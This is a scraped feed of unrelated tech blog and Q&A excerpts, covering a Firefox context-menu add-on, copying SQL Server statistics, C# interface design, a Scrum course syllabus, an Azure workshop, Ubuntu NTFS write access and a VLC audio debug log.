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• Add Properties Back to the Context Menu in Firefox

  - by Asian Angel

  Have you noticed that the Properties Command has been removed from the Context Menu in Firefox 3.6? If you have been missing it here is how to get it back. Before With the newest version of Firefox you may have noticed a very useful command missing from the “Context Menu”. Here you can see that when we right clicked on the article link we were unable to “access” the properties for it… Same article and the same problem when trying to “access” the properties for one of the images. After Once you have installed the extension you can once again “access” the properties for those links… And those images… Looking very good… Conclusion If you have been frustrated with the removal of the “Properties Command” from the “Context Menu” in Firefox 3.6, you can now add it back in just a few moments. Links Download the Element Properties extension (Mozilla Add-ons) Similar Articles Productive Geek Tips Prevent Annoying Websites From Messing With the Right-Click Menu in FirefoxAccess Your Bookmarks in the Context Menu with Context BookmarksAdd Print & Print Preview Commands to Firefox’s Context MenuRestore the "Search…" Item to the Folder Context Menu in Windows Vista SP1Create Permanent Tabs in Firefox with PermaTabs Mod TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 PCmover Professional The Ultimate Excel Cheatsheet Convert the Quick Launch Bar into a Super Application Launcher Automate Tasks in Linux with Crontab Discover New Bundled Feeds in Google Reader Play Music in Chrome by Simply Dragging a File 15 Great Illustrations by Chow Hon Lam

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• SQL SERVER – Copy Statistics from One Server to Another Server

  - by pinaldave

  I was recently working on a performance tuning project in Dubai (yeah I was able to see the tallest tower from the window of my work place). I had a very interesting learning experience there. There was a situation where we wanted to receive the schema of original database from a certain client. However, the client was not able to provide us any data due to privacy issues. The schema was very important because without having an access to underlying data, it was a bit difficult to judge the queries etc. For example, without any primary data, all the queries are running in 0 (zero) milliseconds and all were using nested loop as there were no data to be returned. Even though we had CPU offending queries, they were not doing anything without the data in the tables. This was really a challenge as I did not have access to production server data and I could not recreate the scenarios as production without data. Well, I was confused but Ruben from Solid Quality Mentors, Spain taught me new tricks. He suggested that when table schema is generated, we can create the statistics consequently. Here is how we had done that: Once statistics is created along with the schema, without data in the table, all the queries will work as how they will work on production server. This way, without access to the data, we were able to recreate the same scenario as production server on development server. When observed at the script, you will find that the statistics were also generated along with the query. You will find statistics included in WITH STATS_STREAM clause. What a very simple and effective script. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, SQLServer, T SQL, Technology Tagged: SQL Statistics, Statistics

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• Should interfaces inherit interfaces

  - by dreza

  Although this is a general question it is also specific to a problem I am currently experiencing. I currently have an interface specified in my solution called public interface IContextProvider { IDataContext { get; set; } IAreaContext { get; set; } } This interface is often used throughout the program and hence I have easy access to the objects I need. However at a fairly low level of a part of my program I need access to another class that will use IAreaContext and perform some operations off it. So I have created another factory interface to do this creation called: public interface IEventContextFactory { IEventContext CreateEventContext(int eventId); } I have a class that implements the IContextProvider and is injected using NinJect. The problem I have is that the area where I need to use this IEventContextFactory has access to the IContextProvider only and itself uses another class which will need this new interface. I don't want to have to instantiate this implementation of IEventContextFactory at the low level and would rather work with the IEventContextFactory interface throughout. However I also don't want to have to inject another parameter through the constructors just to have it passed through to the class that needs it i.e. // example of problem public class MyClass { public MyClass(IContextProvider context, IEventContextFactory event) { _context = context; _event = event; } public void DoSomething() { // the only place _event is used in the class is to pass it through var myClass = new MyChildClass(_event); myClass.PerformCalculation(); } } So my main question is, would this be acceptable or is it even common or good practice to do something like this (interface inherit another an interface): public interface IContextProvider : IEventContextFactory or should I consider better alternatives to achieving what I need. If I have not provided enough information to give suggestions let me know and I can provide more.

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• Professional Scrum Developer (.NET) Training in London

  - by Martin Hinshelwood

  On the 26th - 30th July in Microsoft’s offices in London Adam Cogan from SSW will be presenting the first Professional Scrum Developer course in the UK. I will be teaching this course along side Adam and it is a fantastic experience. You are split into teams and go head-to-head to deliver units of potentially shippable work in four two hour sprints. The Professional Scrum Developer course is the only course endorsed by both Microsoft and Ken Schwaber and they have worked together very effectively in brining this course to fruition. This course is the brain child of Richard Hundhausen, a Microsoft Regional Director, and both Adam and I attending the Trainer Prep in Sydney when he was there earlier this year. He is a fantastic trainer and no matter where you do this course you can be safe in the knowledge that he has trained and vetted all of the teachers. A tools version of Ken if you will Find a course and register Download this syllabus Download the Scrum Guide What is the Professional Scrum Developer course all about? Professional Scrum Developer course is a unique and intensive five-day experience for software developers. The course guides teams on how to turn product requirements into potentially shippable increments of software using the Scrum framework, Visual Studio 2010, and modern software engineering practices. Attendees will work in self-organizing, self-managing teams using a common instance of Team Foundation Server 2010. Who should attend this course? This course is suitable for any member of a software development team – architect, programmer, database developer, tester, etc. Entire teams are encouraged to attend and experience the course together, but individuals are welcome too. Attendees will self-organize to form cross-functional Scrum teams. These teams require an aggregate of skills specific to the selected case study. Please see the last page of this document for specific details. Product Owners, ScrumMasters, and other stakeholders are welcome too, but keep in mind that everyone who attends will be expected to commit to work and pull their weight on a Scrum team. What should you know by the end of the course? Scrum will be experienced through a combination of lecture, demonstration, discussion, and hands-on exercises. Attendees will learn how to do Scrum correctly while being coached and critiqued by the instructor, in the following topic areas: Form effective teams Explore and understand legacy “Brownfield” architecture Define quality attributes, acceptance criteria, and “done” Create automated builds How to handle software hotfixes Verify that bugs are identified and eliminated Plan releases and sprints Estimate product backlog items Create and manage a sprint backlog Hold an effective sprint review Improve your process by using retrospectives Use emergent architecture to avoid technical debt Use Test Driven Development as a design tool Setup and leverage continuous integration Use Test Impact Analysis to decrease testing times Manage SQL Server development in an Agile way Use .NET and T-SQL refactoring effectively Build, deploy, and test SQL Server databases Create and manage test plans and cases Create, run, record, and play back manual tests Setup a branching strategy and branch code Write more maintainable code Identify and eliminate people and process dysfunctions Inspect and improve your team’s software development process What does the week look like? This course is a mix of lecture, demonstration, group discussion, simulation, and hands-on software development. The bulk of the course will be spent working as a team on a case study application delivering increments of new functionality in mini-sprints. Here is the week at a glance: Monday morning and most of the day Friday will be spent with the computers powered off, so you can focus on sharpening your game of Scrum and avoiding the common pitfalls when implementing it. The Sprints Timeboxing is a critical concept in Scrum as well as in this course. We expect each team and student to understand and obey all of the timeboxes. The timebox duration will always be clearly displayed during each activity. Expect the instructor to enforce it. Each of the ½ day sprints will roughly follow this schedule: Component Description Minutes Instruction Presentation and demonstration of new and relevant tools & practices 60 Sprint planning meeting Product owner presents backlog; each team commits to delivering functionality 10 Sprint planning meeting Each team determines how to build the functionality 10 The Sprint The team self-organizes and self-manages to complete their tasks 120 Sprint Review meeting Each team will present their increment of functionality to the other teams = 30 Sprint Retrospective A group retrospective meeting will be held to inspect and adapt 10 Each team is expected to self-organize and manage their own work during the sprint. Pairing is highly encouraged. The instructor/product owner will be available if there are questions or impediments, but will be hands-off by default. You should be prepared to communicate and work with your team members in order to achieve your sprint goal. If you have development-related questions or get stuck, your partner or team should be your first level of support. Module 1: INTRODUCTION This module provides a chance for the attendees to get to know the instructors as well as each other. The Professional Scrum Developer program, as well as the day by day agenda, will be explained. Finally, the Scrum team will be selected and assembled so that the forming, storming, norming, and performing can begin. Trainer and student introductions Professional Scrum Developer program Agenda Logistics Team formation Retrospective Module 2: SCRUMDAMENTALS This module provides a level-setting understanding of the Scrum framework including the roles, timeboxes, and artifacts. The team will then experience Scrum firsthand by simulating a multi-day sprint of product development, including planning, review, and retrospective meetings. Scrum overview Scrum roles Scrum timeboxes (ceremonies) Scrum artifacts Simulation Retrospective It’s required that you read Ken Schwaber’s Scrum Guide in preparation for this module and course. MODULE 3: IMPLEMENTING SCRUM IN VISUAL STUDIO 2010 This module demonstrates how to implement Scrum in Visual Studio 2010 using a Scrum process template*. The team will learn the mapping between the Scrum concepts and how they are implemented in the tool. After connecting to the shared Team Foundation Server, the team members will then return to the simulation – this time using Visual Studio to manage their product development. Mapping Scrum to Visual Studio 2010 User Story work items Task work items Bug work items Demonstration Simulation Retrospective Module 4: THE CASE STUDY In this module the team is introduced to their problem domain for the week. A kickoff meeting by the Product Owner (the instructor) will set the stage for the why and what that will take during the upcoming sprints. The team will then define the quality attributes of the project and their definition of “done.” The legacy application code will be downloaded, built, and explored, so that any bugs can be discovered and reported. Introduction to the case study Download the source code, build, and explore the application Define the quality attributes for the project Define “done” How to file effective bugs in Visual Studio 2010 Retrospective Module 5: HOTFIX This module drops the team directly into a Brownfield (legacy) experience by forcing them to analyze the existing application’s architecture and code in order to locate and fix the Product Owner’s high-priority bug(s). The team will learn best practices around finding, testing, fixing, validating, and closing a bug. How to use Architecture Explorer to visualize and explore Create a unit test to validate the existence of a bug Find and fix the bug Validate and close the bug Retrospective Module 6: PLANNING This short module introduces the team to release and sprint planning within Visual Studio 2010. The team will define and capture their goals as well as other important planning information. Release vs. Sprint planning Release planning and the Product Backlog Product Backlog prioritization Acceptance criteria and tests Sprint planning and the Sprint Backlog Creating and linking Sprint tasks Retrospective At this point the team will have the knowledge of Scrum, Visual Studio 2010, and the case study application to begin developing increments of potentially shippable functionality that meet their definition of done. Module 7: EMERGENT ARCHITECTURE This module introduces the architectural practices and tools a team can use to develop a valid design on which to develop new functionality. The teams will learn how Scrum supports good architecture and design practices. After the discussion, the teams will be presented with the product owner’s prioritized backlog so that they may select and commit to the functionality they can deliver in this sprint. Architecture and Scrum Emergent architecture Principles, patterns, and practices Visual Studio 2010 modeling tools UML and layer diagrams SPRINT 1 Retrospective Module 8: TEST DRIVEN DEVELOPMENT This module introduces Test Driven Development as a design tool and how to implement it using Visual Studio 2010. To maximize productivity and quality, a Scrum team should setup Continuous Integration to regularly build every team member’s code changes and run regression tests. Refactoring will also be defined and demonstrated in combination with Visual Studio’s Test Impact Analysis to efficiently re-run just those tests which were impacted by refactoring. Continuous integration Team Foundation Build Test Driven Development (TDD) Refactoring Test Impact Analysis SPRINT 2 Retrospective Module 9: AGILE DATABASE DEVELOPMENT This module lets the SQL Server database developers in on a little secret – they can be agile too. By using the database projects in Visual Studio 2010, the database developers can join the rest of the team. The students will see how to apply Agile database techniques within Visual Studio to support the SQL Server 2005/2008/2008R2 development lifecycle. Agile database development Visual Studio database projects Importing schema and scripts Building and deploying Generating data Unit testing SPRINT 3 Retrospective Module 10: SHIP IT Teams need to know that just because they like the functionality doesn’t mean the Product Owner will. This module revisits acceptance criteria as it pertains to acceptance testing. By refining acceptance criteria into manual test steps, team members can execute the tests, recording the results and reporting bugs in a number of ways. Manual tests will be defined and executed using the Microsoft Test Manager tool. As the Sprint completes and an increment of functionality is delivered, the team will also learn why and when they should create a branch of the codeline. Acceptance criteria Testing in Visual Studio 2010 Microsoft Test Manager Writing and running manual tests Branching SPRINT 4 Retrospective Module 11: OVERCOMING DYSFUNCTION This module introduces the many types of people, process, and tool dysfunctions that teams face in the real world. Many dysfunctions and scenarios will be identified, along with ideas and discussion for how a team might mitigate them. This module will enable you and your team to move toward independence and improve your game of Scrum when you depart class. Scrum-butts and flaccid Scrum Best practices working as a team Team challenges ScrumMaster challenges Product Owner challenges Stakeholder challenges Course Retrospective What will be expected of you and you team? This is a unique course in that it’s technically-focused, team-based, and employs timeboxes. It demands that the members of the teams self-organize and self-manage their own work to collaboratively develop increments of software. All attendees must commit to: Pay attention to all lectures and demonstrations Participate in team and group discussions Work collaboratively with other team members Obey the timebox for each activity Commit to work and do your best to deliver All teams should have these skills: Understanding of Scrum Familiarity with Visual Studio 201 C#, .NET 4.0 & ASP.NET 4.0 experience*  SQL Server 2008 development experience Software testing experience * Check with the instructor ahead of time for the exact technologies Self-organising teams Another unique attribute of this course is that it’s a technical training class being delivered to teams of developers, not pairs, and not individuals. Ideally, your actual software development team will attend the training to ensure that all necessary skills are covered. However, if you wish to attend an open enrolment course alone or with just a couple of colleagues, realize that you may be placed on a team with other attendees. The instructor will do his or her best to ensure that each team is cross-functional to tackle the case study, but there are no guarantees. You may be required to try a new role, learn a new skill, or pair with somebody unfamiliar to you. This is just good Scrum! Who should NOT take this course? Because of the nature of this course, as explained above, certain types of people should probably not attend this course: Students requiring command and control style instruction – there are no prescriptive/step-by-step (think traditional Microsoft Learning) labs in this course Students who are unwilling to work within a timebox Students who are unwilling to work collaboratively on a team Students who don’t have any skill in any of the software development disciplines Students who are unable to commit fully to their team – not only will this diminish the student’s learning experience, but it will also impact their team’s learning experience Find a course and register Download this syllabus Download the Scrum Guide Technorati Tags: Scrum,SSW,Pro Scrum Dev

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• FREE Online Azure Workshop includes a **FREE Azure Account**

  - by Jim Duffy

  My friend and all around good guy, Microsoft Developer Evangelist for the Carolinas, Brian Hitney, along with fellow Microsofties Jim O’Neil and John McClelland will be presenting a FREE Windows Azure online workshop tomorrow, Tuesday, May 4th from 7pm-9pm. What? You can’t make it Tuesday evening? Not to worry. This webcast will be repeated again a number of times over the next month or so. Taken from Brian’s blog post about it: “Elevate your skills with Windows Azure in this hands-on workshop! In this event we’ll guide you through the process of building and deploying a large scale Azure application. Forget about “hello world”! In less than two hours we’ll build and deploy a real cloud app that leverages the Azure data center and helps make a difference in the world. Yes, in addition to building an application that will leave you with a rock-solid understanding of the Azure platform, the solution you deploy will contribute back to Stanford’s Folding@home distributed computing project. There’s no cost to you to participate in this session; each attendee will receive a temporary, self-expiring, full-access account to work with Azure for a period of 2-weeks.” Did you catch that last sentence??  “each attendee will receive a temporary, self-expiring, full-access account to work with Azure for a period of 2-weeks.” A FREE, full-access, Windows Azure account to experiment and learn with? Now we’re talking. For more information check out Brian’s blog post or head here. Have a day. :-|

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• Can't write to NTFS formatted drives

  - by mloman

  I'm not sure what has happened, but I've all of a sudden lost write access to any of my NTFS external drives. I installed a few games and apps from the software center, and now I can't make new folders or copy and paste files to anything that is NTFS. Everything is now read only, and I've tried so many things to fix it, but it seems hopeless. Just to check if it wasn't the drives themselves, I made a little ntfs formatted truecrypt volume, and a fat formatted volume. And yes, it seems that Ubuntu is blocking me from writing anything to NTFS. What happened here? Whats a way I can simply get write access to my NTFS drives, so I can just backup all my stuff. I'll probably reinstall Ubuntu. Please help. UPDATE (and thanks everyone for their quick replies) The problem has been solved. Prior to noticing that I had lost NTFS write permission, I had installed GParted from the software center, and there was an extension called ntfsprogs that came with it. During my search for a solution to the problem, I uninstalled GParted (as that was one of the apps I installed just before the problem). But that did not solve the problem. I came across an app called 'NTFS Configuration Tool'. When I installed this, it said that the ntfsprogs extension needed to be removed (so I guess uninstalling GPARTED, didn't remove the ntfsprog extension). I launched the NTFS Configuration Tool and now I have write access to NTFS drives. Unfortunately, I didn't check if I had write permission prior to launching the NTFS Configuration Tool, so I'm not sure whether the NTFS Configuration Tool, or the un-installation of ntfsprog gave me back NTFS write permission. Hopefully if another newbee encounters this problem, they'll come across this page and know what to do.

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• VLC 2.0.3 on Lubuntu 12.04: No audio?

  - by drezabek

  I am on Lubuntu 12.04, and I have installed VLC media player version 2.0.3. When I try and play an audio file, it appears to load fine, and the media position bar displays the progress, and it says it is playing, but I can't here any thing through my speakers. I can hear game audio, web audio, and audio from SMPlayer just fine, but with VLC, I can't here anything. Below is the "Messages" output with the verbosity option set to "2 (debug)" main debug: processing request item: The Bottom, node: Playlist, skip: 0 main debug: resyncing on The Bottom main debug: The Bottom is at 0 main debug: starting playback of the new playlist item main debug: resyncing on The Bottom main debug: The Bottom is at 0 main debug: creating new input thread main debug: Creating an input for 'The Bottom' main debug: TIMER input launching for 'Floex - Machinarium Soundtrack - 01 The Bottom.flac' : 23.706 ms - Total 23.706 ms / 1 intvls (Avg 23.706 ms) main debug: using timeshift granularity of 50 MiB, in path '/tmp' main debug: `file:///home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' gives access `file' demux `' path `/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' main debug: creating demux: access='file' demux='' location='/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' file='/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: looking for access_demux module: 3 candidates main debug: no access_demux module matching "file" could be loaded main debug: TIMER module_need() : 2.332 ms - Total 2.332 ms / 1 intvls (Avg 2.332 ms) main debug: creating access 'file' location='/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac', path='/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: looking for access module: 2 candidates filesystem debug: opening file `/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: using access module "filesystem" main debug: TIMER module_need() : 0.762 ms - Total 0.762 ms / 1 intvls (Avg 0.762 ms) main debug: Using stream method for AStream* main debug: starting pre-buffering main debug: received first data after 0 ms main debug: pre-buffering done 1024 bytes in 0s - 43478 KiB/s main debug: looking for stream_filter module: 7 candidates main debug: no stream_filter module matching "any" could be loaded main debug: TIMER module_need() : 0.236 ms - Total 0.236 ms / 1 intvls (Avg 0.236 ms) main debug: looking for stream_filter module: 1 candidate main debug: using stream_filter module "stream_filter_record" main debug: TIMER module_need() : 0.156 ms - Total 0.156 ms / 1 intvls (Avg 0.156 ms) main debug: creating demux: access='file' demux='' location='/home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' file='/home/doug/Music/unsorted/Floex - Machinarium Soundtrack/Floex - Machinarium Soundtrack - 01 The Bottom.flac' main debug: looking for demux module: 54 candidates flacsys debug: Picture type=3 mime=image/png description='' file length=679371 qt4 debug: IM: Setting an input main debug: looking for packetizer module: 21 candidates main debug: using packetizer module "packetizer_flac" main debug: TIMER module_need() : 0.211 ms - Total 0.211 ms / 1 intvls (Avg 0.211 ms) main debug: using demux module "flacsys" main debug: TIMER module_need() : 4.023 ms - Total 4.023 ms / 1 intvls (Avg 4.023 ms) main debug: looking for a subtitle file in /home/doug/Music/unsorted/Floex - Machinarium Soundtrack/ main debug: looking for meta reader module: 2 candidates main debug: using meta reader module "taglib" main debug: TIMER module_need() : 5.245 ms - Total 5.245 ms / 1 intvls (Avg 5.245 ms) main debug: removing module "taglib" main debug: `file:///home/doug/Music/unsorted/Floex%20-%20Machinarium%20Soundtrack/Floex%20-%20Machinarium%20Soundtrack%20-%2001%20The%20Bottom.flac' successfully opened main debug: selecting program id=0 main debug: looking for decoder module: 30 candidates main debug: using decoder module "flac" main debug: TIMER module_need() : 0.442 ms - Total 0.442 ms / 1 intvls (Avg 0.442 ms) main debug: Buffering 0% flac debug: decode STREAMINFO flac debug: channels:2 samplerate:44100 bitspersamples:16 flac debug: STREAMINFO decoded main debug: Buffering 30% main debug: recycling audio output main debug: looking for audio output module: 3 candidates main debug: Buffering 61% pulse debug: using stereo channel map pulse debug: using library version 1.1.0 pulse debug: (compiled with version 1.1.0, protocol 26) main debug: Buffering 92% main debug: Stream buffering done (371 ms in 2 ms) pulse debug: connected locally to unix:/home/doug/.pulse/dce22254e867f905188a2ce200000003-runtime/native as client #14 pulse debug: using protocol 26, server protocol 26 pulse debug: using buffer metrics: maxlength=4194304, tlength=9880, prebuf=0, minreq=3528 pulse debug: connected to sink 0: alsa_output.pci-0000_00_14.2.analog-stereo main debug: using audio output module "pulse" main debug: TIMER module_need() : 4.571 ms - Total 4.571 ms / 1 intvls (Avg 4.571 ms) main debug: output 's16l' 44100 Hz Stereo frame=1 samples/4 bytes main debug: mixer 'f32l' 44100 Hz Stereo frame=1 samples/8 bytes main debug: filter(s) 'f32l'->'s16l' 44100 Hz->44100 Hz Stereo->Stereo main debug: looking for audio filter module: 14 candidates audio_format debug: f32l->s16l, bits per sample: 32->16 main debug: using audio filter module "audio_format" main debug: TIMER module_need() : 0.187 ms - Total 0.187 ms / 1 intvls (Avg 0.187 ms) main debug: conversion pipeline completed main debug: looking for audio mixer module: 2 candidates main debug: using audio mixer module "float32_mixer" main debug: TIMER module_need() : 0.125 ms - Total 0.125 ms / 1 intvls (Avg 0.125 ms) main debug: input 's16l' 44100 Hz Stereo frame=1 samples/4 bytes main debug: looking for audio filter module: 1 candidate scaletempo debug: format: 44100 rate, 2 nch, 4 bps, fl32 scaletempo debug: params: 30 stride, 0.200 overlap, 14 search scaletempo debug: 1.000 scale, 1323.000 stride_in, 1323 stride_out, 1059 standing, 264 overlap, 617 search, 2204 queue, fl32 mode main debug: using audio filter module "scaletempo" main debug: TIMER module_need() : 0.233 ms - Total 0.233 ms / 1 intvls (Avg 0.233 ms) main debug: filter(s) 's16l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo pulse debug: listing sink alsa_output.pci-0000_00_14.2.analog-stereo (0): Built-in Audio Analog Stereo main debug: looking for audio filter module: 14 candidates audio_format debug: s16l->f32l, bits per sample: 16->32 main debug: using audio filter module "audio_format" main debug: TIMER module_need() : 0.147 ms - Total 0.147 ms / 1 intvls (Avg 0.147 ms) main debug: conversion pipeline completed pulse debug: base volume: 65536 main debug: looking for audio filter module: 1 candidate equalizer debug: equalizer loaded for 44100 Hz with 10 bands 2 pass equalizer debug: 60 Hz -> factor:0.000000 alpha:0.003013 beta:0.993973 gamma:1.993901 equalizer debug: 170 Hz -> factor:0.000000 alpha:0.008490 beta:0.983019 gamma:1.982437 equalizer debug: 310 Hz -> factor:0.000000 alpha:0.015374 beta:0.969252 gamma:1.967331 equalizer debug: 600 Hz -> factor:0.000000 alpha:0.029328 beta:0.941343 gamma:1.934254 equalizer debug: 1000 Hz -> factor:0.000000 alpha:0.047918 beta:0.904163 gamma:1.884869 equalizer debug: 3000 Hz -> factor:0.000000 alpha:0.130408 beta:0.739184 gamma:1.582718 equalizer debug: 6000 Hz -> factor:0.000000 alpha:0.226555 beta:0.546889 gamma:1.015267 equalizer debug: 12000 Hz -> factor:0.000000 alpha:0.344937 beta:0.310127 gamma:-0.181410 equalizer debug: 14000 Hz -> factor:0.000000 alpha:0.366438 beta:0.267123 gamma:-0.521151 equalizer debug: 16000 Hz -> factor:0.000000 alpha:0.379009 beta:0.241981 gamma:-0.808451 main debug: using audio filter module "equalizer" main debug: TIMER module_need() : 0.353 ms - Total 0.353 ms / 1 intvls (Avg 0.353 ms) main debug: filter(s) 'f32l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo main debug: conversion pipeline completed main debug: looking for visualization2 module: 1 candidate main debug: looking for text renderer module: 2 candidates freetype debug: Building font databases. freetype debug: Took 0 microseconds freetype debug: Using Serif Bold as font from file /usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf freetype debug: using fontsize: 2 main debug: using text renderer module "freetype" main debug: TIMER module_need() : 3.278 ms - Total 3.278 ms / 1 intvls (Avg 3.278 ms) main debug: looking for video filter2 module: 18 candidates swscale debug: 32x32 chroma: YUVA -> 16x16 chroma: RGBA with scaling using Bicubic (good quality) main debug: using video filter2 module "swscale" main debug: TIMER module_need() : 1.037 ms - Total 1.037 ms / 1 intvls (Avg 1.037 ms) main debug: looking for video filter2 module: 18 candidates yuvp debug: YUVP to YUVA converter main debug: using video filter2 module "yuvp" main debug: TIMER module_need() : 0.156 ms - Total 0.156 ms / 1 intvls (Avg 0.156 ms) main debug: Deinterlacing available main debug: deinterlace 0, mode blend, is_needed 0 main debug: Opening vout display wrapper main debug: looking for vout display module: 6 candidates main debug: looking for vout window xid module: 4 candidates qt4 debug: requesting video... qt4 debug: Video was requested 0, 0 main debug: using vout window xid module "qt4" main debug: TIMER module_need() : 61.671 ms - Total 61.671 ms / 1 intvls (Avg 61.671 ms) main debug: looking for inhibit module: 2 candidates main debug: using inhibit module "xdg_screensaver" main debug: TIMER module_need() : 0.336 ms - Total 0.336 ms / 1 intvls (Avg 0.336 ms) xdg_screensaver debug: started xdg-screensaver (PID = 6682) xcb_xv debug: connected to X11.0 server xcb_xv debug: vendor : The X.Org Foundation xcb_xv debug: version: 11103000 xcb_xv debug: using screen 0x15a xcb_xv debug: using XVideo extension v2.2 xcb_xv debug: using adaptor NV17 Video Texture xcb_xv debug: using port 310 xcb_xv debug: using image format 0x30323449 xcb_xv debug: using X11 visual ID 0x21 (depth: 24) xcb_xv debug: using X11 window 0x03400000 xcb_xv debug: using X11 graphic context 0x03400002 main debug: VoutDisplayEvent 'fullscreen' 0 main debug: VoutDisplayEvent 'resize' 800x500 window main debug: using vout display module "xcb_xv" main debug: TIMER module_need() : 69.890 ms - Total 69.890 ms / 1 intvls (Avg 69.890 ms) main debug: original format sz 800x500, of (0,0), vsz 800x500, 4cc I420, sar 1:1, msk r0x0 g0x0 b0x0 main debug: removing module "freetype" main debug: looking for text renderer module: 2 candidates freetype debug: Building font databases. freetype debug: Took 0 microseconds freetype debug: Using Serif Bold as font from file /usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf freetype debug: using fontsize: 2 main debug: using text renderer module "freetype" main debug: TIMER module_need() : 4.552 ms - Total 4.552 ms / 1 intvls (Avg 4.552 ms) main debug: using visualization2 module "visual" main debug: TIMER module_need() : 84.104 ms - Total 84.104 ms / 1 intvls (Avg 84.104 ms) main debug: filter(s) 'f32l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo main debug: conversion pipeline completed main debug: filter(s) 'f32l'->'f32l' 44100 Hz->44100 Hz Stereo->Stereo main debug: conversion pipeline completed main debug: filter(s) 'f32l'->'f32l' 48510 Hz->44100 Hz Stereo->Stereo main debug: looking for audio filter module: 14 candidates main debug: using audio filter module "samplerate" main debug: TIMER module_need() : 0.375 ms - Total 0.375 ms / 1 intvls (Avg 0.375 ms) main debug: conversion pipeline completed main debug: End of audio preroll main debug: Decoder buffering done in 91 ms main warning: PTS is out of range (-9269), dropping buffer pulse debug: deferring start (190703 us) main debug: looking for video blending module: 1 candidate main debug: using video blending module "blend" main debug: TIMER module_need() : 0.275 ms - Total 0.275 ms / 1 intvls (Avg 0.275 ms) main debug: Detected interlaced video main debug: deinterlace 0, mode blend, is_needed 1 xcb_xv debug: display is visible pulse debug: starting deferred pulse warning: too late by 93760 us pulse debug: changed sample rate to 44186 Hz pulse debug: started pulse warning: too late by 94474 us pulse debug: changed sample rate to 44229 Hz pulse warning: too late by 93532 us pulse debug: changed sample rate to 44272 Hz pulse warning: too late by 92829 us pulse debug: changed sample rate to 44315 Hz pulse warning: too late by 92132 us pulse debug: changed sample rate to 44358 Hz xcb_xv debug: display is visible pulse warning: too late by 91534 us pulse debug: changed sample rate to 44401 Hz xcb_xv debug: display is visible pulse warning: too late by 89482 us pulse debug: changed sample rate to 44440 Hz xcb_xv debug: display is visible xcb_xv debug: display is visible pulse warning: too late by 87529 us pulse debug: changed sample rate to 44479 Hz pulse warning: too late by 84577 us pulse debug: changed sample rate to 44504 Hz main debug: auto hiding mouse cursor pulse warning: too late by 78562 us pulse debug: changed sample rate to 44492 Hz pulse warning: too late by 68015 us pulse debug: changed sample rate to 44422 Hz xcb_xv debug: display is visible xcb_xv debug: display is visible xcb_xv debug: display is visible xcb_xv debug: display is visible main debug: auto hiding mouse cursor pulse debug: changed sample rate to 44336 Hz xcb_xv debug: display is visible xcb_xv debug: display is visible xcb_xv debug: display is visible main debug: auto hiding mouse cursor I have had issues with VLC in the past- the audio quality was extremely crackly, as if the headphone jack was plugged in only half way, and the sounds were extremely sharp and caused my speakers to make a ringing/vibrating noise... It would eventually start working after I messed around with the audio settings, but it happened every restart. I eventually switched to SMPlayer, but now I need some of the features that VLC offers, but I still can't use VLC. At this point, the audio can not be heard at all, and the method I used before, messing around with the audio settings, isn't getting me anywhere. (note, I reposted this on VideoLan's forums, link is here: http://forum.videolan.org/viewtopic.php?f=13&t=104726) Please let me know if you need more information, or are confused by something I posted! Thanks!

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• How to Remote View and Control Your Android Phone

  - by Jason Fitzpatrick

  If you’ve ever wished you could see your Android phone’s screen on your desktop or remote control it using your mouse and keyboard we’ll show you how in this simple guide to gaining remote access to your Android device. Why would you want to gain access? When you’re done with this tutorial you’ll be able to view your phone’s screen on your computer monitor which is great for: putting your Android notifications right along side other notification boxes on your monitor, using it like an on-monitor caller ID, and taking screenshots and screencasts. Also if your phone is rooted (and it should be! rooting unlocks so many great features) you’ll gain the ability to use your computer’s keyboard and mouse to control your Android phone. Remote keyboard/mouse control is great for inputting data on the tiny screen without needing to peck at the on-screen keyboard. Latest Features How-To Geek ETC RGB? CMYK? Alpha? What Are Image Channels and What Do They Mean? How to Recover that Photo, Picture or File You Deleted Accidentally How To Colorize Black and White Vintage Photographs in Photoshop How To Get SSH Command-Line Access to Windows 7 Using Cygwin The How-To Geek Video Guide to Using Windows 7 Speech Recognition How To Create Your Own Custom ASCII Art from Any Image Google Cloud Print Extension Lets You Print Doc/PDF/Txt Files from Web Sites Hack a $10 Flashlight into an Ultra-bright Premium One Firefox Personas Arrive on Firefox Mobile Focus Booster Is a Sleek and Free Productivity Timer What is the Internet? From the Today Show January 1994 [Historical Video] Take Screenshots and Edit Them in Chrome and Iron Using Aviary Screen Capture

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• Using Table-Valued Parameters With SQL Server Reporting Services

  - by Jesse

